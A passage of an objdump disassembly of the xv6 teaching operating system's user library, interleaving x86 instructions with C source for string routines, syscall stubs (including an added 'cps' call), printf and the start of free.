02 movzbl (%edx),%eax p++, q++; d6: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx dd: 84 c0 test %al,%al df: 74 0f je f0 <strcmp+0x40> e1: 89 f1 mov %esi,%ecx e3: 38 d8 cmp %bl,%al e5: 74 e9 je d0 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; e7: 29 d8 sub %ebx,%eax } e9: 5b pop %ebx ea: 5e pop %esi eb: 5d pop %ebp ec: c3 ret ed: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) f0: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; f2: 29 d8 sub %ebx,%eax } f4: 5b pop %ebx f5: 5e pop %esi f6: 5d pop %ebp f7: c3 ret f8: 90 nop f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000100 <strlen>: uint strlen(char *s) { 100: 55 push %ebp 101: 89 e5 mov %esp,%ebp 103: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 106: 80 39 00 cmpb $0x0,(%ecx) 109: 74 12 je 11d <strlen+0x1d> 10b: 31 d2 xor %edx,%edx 10d: 8d 76 00 lea 0x0(%esi),%esi 110: 83 c2 01 add $0x1,%edx 113: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 117: 89 d0 mov %edx,%eax 119: 75 f5 jne 110 <strlen+0x10> ; return n; } 11b: 5d pop %ebp 11c: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) 11d: 31 c0 xor %eax,%eax ; return n; } 11f: 5d pop %ebp 120: c3 ret 121: eb 0d jmp 130 <memset> 123: 90 nop 124: 90 nop 125: 90 nop 126: 90 nop 127: 90 nop 128: 90 nop 129: 90 nop 12a: 90 nop 12b: 90 nop 12c: 90 nop 12d: 90 nop 12e: 90 nop 12f: 90 nop 00000130 <memset>: void* memset(void *dst, int c, uint n) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 57 push %edi 134: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 137: 8b 4d 10 mov 0x10(%ebp),%ecx 13a: 8b 45 0c mov 0xc(%ebp),%eax 13d: 89 d7 mov %edx,%edi 13f: fc cld 140: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 142: 89 d0 mov %edx,%eax 144: 5f pop %edi 145: 5d pop %ebp 146: c3 ret 147: 89 f6 mov %esi,%esi 149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000150 <strchr>: char* strchr(const char *s, char c) { 150: 55 push %ebp 151: 89 e5 mov %esp,%ebp 153: 53 push %ebx 154: 8b 45 08 mov 0x8(%ebp),%eax 157: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 15a: 0f b6 10 movzbl (%eax),%edx 15d: 84 d2 test %dl,%dl 15f: 74 1d je 17e <strchr+0x2e> if(*s == c) 161: 38 d3 cmp %dl,%bl 163: 89 d9 mov %ebx,%ecx 165: 75 0d jne 174 <strchr+0x24> 167: eb 17 jmp 180 <strchr+0x30> 169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 170: 38 ca cmp %cl,%dl 172: 74 0c je 180 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 174: 83 c0 01 add $0x1,%eax 177: 0f b6 10 movzbl (%eax),%edx 17a: 84 d2 test %dl,%dl 17c: 75 f2 jne 170 <strchr+0x20> if(*s == c) return (char*)s; return 0; 17e: 31 c0 xor %eax,%eax } 180: 5b pop %ebx 181: 5d pop %ebp 182: c3 ret 183: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000190 <gets>: char* gets(char *buf, int max) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 57 push %edi 194: 56 push %esi 195: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 196: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 198: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 19b: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 19e: eb 29 jmp 1c9 <gets+0x39> cc = read(0, &c, 1); 1a0: 83 ec 04 sub $0x4,%esp 1a3: 6a 01 push $0x1 1a5: 57 push %edi 1a6: 6a 00 push $0x0 1a8: e8 2d 01 00 00 call 2da <read> if(cc < 1) 1ad: 83 c4 10 add $0x10,%esp 1b0: 85 c0 test %eax,%eax 1b2: 7e 1d jle 1d1 <gets+0x41> break; buf[i++] = c; 1b4: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 1b8: 8b 55 08 mov 0x8(%ebp),%edx 1bb: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 1bd: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 1bf: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 1c3: 74 1b je 1e0 <gets+0x50> 1c5: 3c 0d cmp $0xd,%al 1c7: 74 17 je 1e0 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1c9: 8d 5e 01 lea 0x1(%esi),%ebx 1cc: 3b 5d 0c cmp 0xc(%ebp),%ebx 1cf: 7c cf jl 1a0 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1d1: 8b 45 08 mov 0x8(%ebp),%eax 1d4: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1d8: 8d 65 f4 lea -0xc(%ebp),%esp 1db: 5b pop %ebx 1dc: 5e pop %esi 1dd: 5f pop %edi 1de: 5d pop %ebp 1df: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1e0: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1e3: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1e5: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1e9: 8d 65 f4 lea -0xc(%ebp),%esp 1ec: 5b pop %ebx 1ed: 5e pop %esi 1ee: 5f pop %edi 1ef: 5d pop %ebp 1f0: c3 ret 1f1: eb 0d jmp 200 <stat> 1f3: 90 nop 1f4: 90 nop 1f5: 90 nop 1f6: 90 nop 1f7: 90 nop 1f8: 90 nop 1f9: 90 nop 1fa: 90 nop 1fb: 90 nop 1fc: 90 nop 1fd: 90 nop 1fe: 90 nop 1ff: 90 nop 00000200 <stat>: int stat(char *n, struct stat *st) { 200: 55 push %ebp 201: 89 e5 mov %esp,%ebp 203: 56 push %esi 204: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 205: 83 ec 08 sub $0x8,%esp 208: 6a 00 push $0x0 20a: ff 75 08 pushl 0x8(%ebp) 20d: e8 f0 00 00 00 call 302 <open> if(fd < 0) 212: 83 c4 10 add $0x10,%esp 215: 85 c0 test %eax,%eax 217: 78 27 js 240 <stat+0x40> return -1; r = fstat(fd, st); 219: 83 ec 08 sub $0x8,%esp 21c: ff 75 0c pushl 0xc(%ebp) 21f: 89 c3 mov %eax,%ebx 221: 50 push %eax 222: e8 f3 00 00 00 call 31a <fstat> 227: 89 c6 mov %eax,%esi close(fd); 229: 89 1c 24 mov %ebx,(%esp) 22c: e8 b9 00 00 00 call 2ea <close> return r; 231: 83 c4 10 add $0x10,%esp 234: 89 f0 mov %esi,%eax } 236: 8d 65 f8 lea -0x8(%ebp),%esp 239: 5b pop %ebx 23a: 5e pop %esi 23b: 5d pop %ebp 23c: c3 ret 23d: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 240: b8 ff ff ff ff mov $0xffffffff,%eax 245: eb ef jmp 236 <stat+0x36> 247: 89 f6 mov %esi,%esi 249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000250 <atoi>: return r; } int atoi(const char *s) { 250: 55 push %ebp 251: 89 e5 mov %esp,%ebp 253: 53 push %ebx 254: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 257: 0f be 11 movsbl (%ecx),%edx 25a: 8d 42 d0 lea -0x30(%edx),%eax 25d: 3c 09 cmp $0x9,%al 25f: b8 00 00 00 00 mov $0x0,%eax 264: 77 1f ja 285 <atoi+0x35> 266: 8d 76 00 lea 0x0(%esi),%esi 269: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 270: 8d 04 80 lea (%eax,%eax,4),%eax 273: 83 c1 01 add $0x1,%ecx 276: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 27a: 0f be 11 movsbl (%ecx),%edx 27d: 8d 5a d0 lea -0x30(%edx),%ebx 280: 80 fb 09 cmp $0x9,%bl 283: 76 eb jbe 270 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 285: 5b pop %ebx 286: 5d pop %ebp 287: c3 ret 288: 90 nop 289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000290 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 290: 55 push %ebp 291: 89 e5 mov %esp,%ebp 293: 56 push %esi 294: 53 push %ebx 295: 8b 5d 10 mov 0x10(%ebp),%ebx 298: 8b 45 08 mov 0x8(%ebp),%eax 29b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 29e: 85 db test %ebx,%ebx 2a0: 7e 14 jle 2b6 <memmove+0x26> 2a2: 31 d2 xor %edx,%edx 2a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 2a8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 2ac: 88 0c 10 mov %cl,(%eax,%edx,1) 2af: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 2b2: 39 da cmp %ebx,%edx 2b4: 75 f2 jne 2a8 <memmove+0x18> *dst++ = *src++; return vdst; } 2b6: 5b pop %ebx 2b7: 5e pop %esi 2b8: 5d pop %ebp 2b9: c3 ret 000002ba <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 2ba: b8 01 00 00 00 mov $0x1,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <exit>: SYSCALL(exit) 2c2: b8 02 00 00 00 mov $0x2,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <wait>: SYSCALL(wait) 2ca: b8 03 00 00 00 mov $0x3,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <pipe>: SYSCALL(pipe) 2d2: b8 04 00 00 00 mov $0x4,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <read>: SYSCALL(read) 2da: b8 05 00 00 00 mov $0x5,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <write>: SYSCALL(write) 2e2: b8 10 00 00 00 mov $0x10,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <close>: SYSCALL(close) 2ea: b8 15 00 00 00 mov $0x15,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <kill>: SYSCALL(kill) 2f2: b8 06 00 00 00 mov $0x6,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <exec>: SYSCALL(exec) 2fa: b8 07 00 00 00 mov $0x7,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <open>: SYSCALL(open) 302: b8 0f 00 00 00 mov $0xf,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <mknod>: SYSCALL(mknod) 30a: b8 11 00 00 00 mov $0x11,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <unlink>: SYSCALL(unlink) 312: b8 12 00 00 00 mov $0x12,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <fstat>: SYSCALL(fstat) 31a: b8 08 00 00 00 mov $0x8,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <link>: SYSCALL(link) 322: b8 13 00 00 00 mov $0x13,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <mkdir>: SYSCALL(mkdir) 32a: b8 14 00 00 00 mov $0x14,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <chdir>: SYSCALL(chdir) 332: b8 09 00 00 00 mov $0x9,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <dup>: SYSCALL(dup) 33a: b8 0a 00 00 00 mov $0xa,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <getpid>: SYSCALL(getpid) 342: b8 0b 00 00 00 mov $0xb,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <sbrk>: SYSCALL(sbrk) 34a: b8 0c 00 00 00 mov $0xc,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <sleep>: SYSCALL(sleep) 352: b8 0d 00 00 00 mov $0xd,%eax 357: cd 40 int $0x40 359: c3 ret 0000035a <uptime>: SYSCALL(uptime) 35a: b8 0e 00 00 00 mov $0xe,%eax 35f: cd 40 int $0x40 361: c3 ret 00000362 <cps>: SYSCALL(cps) 362: b8 16 00 00 00 mov $0x16,%eax 367: cd 40 int $0x40 369: c3 ret 36a: 66 90 xchg %ax,%ax 36c: 66 90 xchg %ax,%ax 36e: 66 90 xchg %ax,%ax 00000370 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 370: 55 push %ebp 371: 89 e5 mov %esp,%ebp 373: 57 push %edi 374: 56 push %esi 375: 53 push %ebx 376: 89 c6 mov %eax,%esi 378: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 37b: 8b 5d 08 mov 0x8(%ebp),%ebx 37e: 85 db test %ebx,%ebx 380: 74 7e je 400 <printint+0x90> 382: 89 d0 mov %edx,%eax 384: c1 e8 1f shr $0x1f,%eax 387: 84 c0 test %al,%al 389: 74 75 je 400 <printint+0x90> neg = 1; x = -xx; 38b: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 38d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; 394: f7 d8 neg %eax 396: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; 399: 31 ff xor %edi,%edi 39b: 8d 5d d7 lea -0x29(%ebp),%ebx 39e: 89 ce mov %ecx,%esi 3a0: eb 08 jmp 3aa <printint+0x3a> 3a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 3a8: 89 cf mov %ecx,%edi 3aa: 31 d2 xor %edx,%edx 3ac: 8d 4f 01 lea 0x1(%edi),%ecx 3af: f7 f6 div %esi 3b1: 0f b6 92 64 07 00 00 movzbl 0x764(%edx),%edx }while((x /= base) != 0); 3b8: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 3ba: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 3bd: 75 e9 jne 3a8 <printint+0x38> if(neg) 3bf: 8b 45 c4 mov -0x3c(%ebp),%eax 3c2: 8b 75 c0 mov -0x40(%ebp),%esi 3c5: 85 c0 test %eax,%eax 3c7: 74 08 je 3d1 <printint+0x61> buf[i++] = '-'; 3c9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 3ce: 8d 4f 02 lea 0x2(%edi),%ecx 3d1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi 3d5: 8d 76 00 lea 0x0(%esi),%esi 3d8: 0f b6 07 movzbl (%edi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 3db: 83 ec 04 sub $0x4,%esp 3de: 83 ef 01 sub $0x1,%edi 3e1: 6a 01 push $0x1 3e3: 53 push %ebx 3e4: 56 push %esi 3e5: 88 45 d7 mov %al,-0x29(%ebp) 3e8: e8 f5 fe ff ff call 2e2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 3ed: 83 c4 10 add $0x10,%esp 3f0: 39 df cmp %ebx,%edi 3f2: 75 e4 jne 3d8 <printint+0x68> putc(fd, buf[i]); } 3f4: 8d 65 f4 lea -0xc(%ebp),%esp 3f7: 5b pop %ebx 3f8: 5e pop %esi 3f9: 5f pop %edi 3fa: 5d pop %ebp 3fb: c3 ret 3fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 400: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 402: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 409: eb 8b jmp 396 <printint+0x26> 40b: 90 nop 40c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000410 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 410: 55 push %ebp 411: 89 e5 mov %esp,%ebp 413: 57 push %edi 414: 56 push %esi 415: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 416: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 419: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 41c: 8b 75 0c mov 0xc(%ebp),%esi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 41f: 8b 7d 08 mov 0x8(%ebp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 422: 89 45 d0 mov %eax,-0x30(%ebp) 425: 0f b6 1e movzbl (%esi),%ebx 428: 83 c6 01 add $0x1,%esi 42b: 84 db test %bl,%bl 42d: 0f 84 b0 00 00 00 je 4e3 <printf+0xd3> 433: 31 d2 xor %edx,%edx 435: eb 39 jmp 470 <printf+0x60> 437: 89 f6 mov %esi,%esi 439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 440: 83 f8 25 cmp $0x25,%eax 443: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 446: ba 25 00 00 00 mov $0x25,%edx state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 44b: 74 18 je 465 <printf+0x55> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 44d: 8d 45 e2 lea -0x1e(%ebp),%eax 450: 83 ec 04 sub $0x4,%esp 453: 88 5d e2 mov %bl,-0x1e(%ebp) 456: 6a 01 push $0x1 458: 50 push %eax 459: 57 push %edi 45a: e8 83 fe ff ff call 2e2 <write> 45f: 8b 55 d4 mov -0x2c(%ebp),%edx 462: 83 c4 10 add $0x10,%esp 465: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 468: 0f b6 5e ff movzbl -0x1(%esi),%ebx 46c: 84 db test %bl,%bl 46e: 74 73 je 4e3 <printf+0xd3> c = fmt[i] & 0xff; if(state == 0){ 470: 85 d2 test %edx,%edx uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 472: 0f be cb movsbl %bl,%ecx 475: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 478: 74 c6 je 440 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 47a: 83 fa 25 cmp $0x25,%edx 47d: 75 e6 jne 465 <printf+0x55> if(c == 'd'){ 47f: 83 f8 64 cmp $0x64,%eax 482: 0f 84 f8 00 00 00 je 580 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 488: 81 e1 f7 00 00 00 and $0xf7,%ecx 48e: 83 f9 70 cmp $0x70,%ecx 491: 74 5d je 4f0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 493: 83 f8 73 cmp $0x73,%eax 496: 0f 84 84 00 00 00 je 520 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 49c: 83 f8 63 cmp $0x63,%eax 49f: 0f 84 ea 00 00 00 je 58f <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ 4a5: 83 f8 25 cmp $0x25,%eax 4a8: 0f 84 c2 00 00 00 je 570 <printf+0x160> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4ae: 8d 45 e7 lea -0x19(%ebp),%eax 4b1: 83 ec 04 sub $0x4,%esp 4b4: c6 45 e7 25 movb $0x25,-0x19(%ebp) 4b8: 6a 01 push $0x1 4ba: 50 push %eax 4bb: 57 push %edi 4bc: e8 21 fe ff ff call 2e2 <write> 4c1: 83 c4 0c add $0xc,%esp 4c4: 8d 45 e6 lea -0x1a(%ebp),%eax 4c7: 88 5d e6 mov %bl,-0x1a(%ebp) 4ca: 6a 01 push $0x1 4cc: 50 push %eax 4cd: 57 push %edi 4ce: 83 c6 01 add $0x1,%esi 4d1: e8 0c fe ff ff call 2e2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4d6: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4da: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4dd: 31 d2 xor %edx,%edx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4df: 84 db test %bl,%bl 4e1: 75 8d jne 470 <printf+0x60> putc(fd, c); } state = 0; } } } 4e3: 8d 65 f4 lea -0xc(%ebp),%esp 4e6: 5b pop %ebx 4e7: 5e pop %esi 4e8: 5f pop %edi 4e9: 5d pop %ebp 4ea: c3 ret 4eb: 90 nop 4ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 4f0: 83 ec 0c sub $0xc,%esp 4f3: b9 10 00 00 00 mov $0x10,%ecx 4f8: 6a 00 push $0x0 4fa: 8b 5d d0 mov -0x30(%ebp),%ebx 4fd: 89 f8 mov %edi,%eax 4ff: 8b 13 mov (%ebx),%edx 501: e8 6a fe ff ff call 370 <printint> ap++; 506: 89 d8 mov %ebx,%eax 508: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 50b: 31 d2 xor %edx,%edx if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 50d: 83 c0 04 add $0x4,%eax 510: 89 45 d0 mov %eax,-0x30(%ebp) 513: e9 4d ff ff ff jmp 465 <printf+0x55> 518: 90 nop 519: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 520: 8b 45 d0 mov -0x30(%ebp),%eax 523: 8b 18 mov (%eax),%ebx ap++; 525: 83 c0 04 add $0x4,%eax 528: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) s = "(null)"; 52b: b8 5d 07 00 00 mov $0x75d,%eax 530: 85 db test %ebx,%ebx 532: 0f 44 d8 cmove %eax,%ebx while(*s != 0){ 535: 0f b6 03 movzbl (%ebx),%eax 538: 84 c0 test %al,%al 53a: 74 23 je 55f <printf+0x14f> 53c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 540: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 543: 8d 45 e3 lea -0x1d(%ebp),%eax 546: 83 ec 04 sub $0x4,%esp 549: 6a 01 push $0x1 ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 54b: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 54e: 50 push %eax 54f: 57 push %edi 550: e8 8d fd ff ff call 2e2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 555: 0f b6 03 movzbl (%ebx),%eax 558: 83 c4 10 add $0x10,%esp 55b: 84 c0 test %al,%al 55d: 75 e1 jne 540 <printf+0x130> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 55f: 31 d2 xor %edx,%edx 561: e9 ff fe ff ff jmp 465 <printf+0x55> 566: 8d 76 00 lea 0x0(%esi),%esi 569: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 570: 83 ec 04 sub $0x4,%esp 573: 88 5d e5 mov %bl,-0x1b(%ebp) 576: 8d 45 e5 lea -0x1b(%ebp),%eax 579: 6a 01 push $0x1 57b: e9 4c ff ff ff jmp 4cc <printf+0xbc> } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 580: 83 ec 0c sub $0xc,%esp 583: b9 0a 00 00 00 mov $0xa,%ecx 588: 6a 01 push $0x1 58a: e9 6b ff ff ff jmp 4fa <printf+0xea> 58f: 8b 5d d0 mov -0x30(%ebp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 592: 83 ec 04 sub $0x4,%esp 595: 8b 03 mov (%ebx),%eax 597: 6a 01 push $0x1 599: 88 45 e4 mov %al,-0x1c(%ebp) 59c: 8d 45 e4 lea -0x1c(%ebp),%eax 59f: 50 push %eax 5a0: 57 push %edi 5a1: e8 3c fd ff ff call 2e2 <write> 5a6: e9 5b ff ff ff jmp 506 <printf+0xf6> 5ab: 66 90 xchg %ax,%ax 5ad: 66 90 xchg %ax,%ax 5af: 90 nop 000005b0 <free>: static Header base; static Header *freep; void free(void *ap) { 5b0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5b1: a1 08 0a 00 00 mov 0xa08,%eax static Header base; static Header *freep; void free(void *ap) { 5b6: 89 e5 mov %esp,%ebp 5b8: 57 push %edi 5b9: 56 push %esi 5ba: 53 push %ebx 5bb: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5be: 8b 10 mov (%eax),%edx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 5c0: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5c3: 39 c8 cmp %ecx,%eax 5c5: 73 19 jae 5e0 <free+0x30> 5c7: 89 f6 mov %esi,%esi 5c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 5d0: 39 d1 cmp %edx,%ecx 5d2: 72 1c jb 5f0 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5d4: 39 d0 cmp %edx,%eax 5d6: 73 18 jae 5f0 <free+0x40> static Header base; static Header *freep; void free(void *ap) { 5d8: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5da: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5dc: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5de: 72 f0 jb 5d0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5e0: 39 d0 cmp %edx,%eax 5e2: 72 f4 jb 5d8 <free+0x28> 5e4: 39 d1 cmp %edx,%ecx 5e6: 73 f0 jae 5d8 <free+0x28> 5e8: 90 nop 5e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 5f0: 8b 73 fc mov -0x4(%ebx),%esi 5f3: 8d 3c f1 lea (%ecx,%esi,8),%edi 5f6: 39 d7 cmp %edx,%edi 5f8: 74 19 je 613 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 5fa: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 5fd: 8b 50 04 mov 0x4(%eax),%edx 600: 8d 34 d0 lea (%eax,%edx,8),%esi 603: 39 f1 cmp %esi,%ecx 605: 74 23 je 62a <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 607: 89 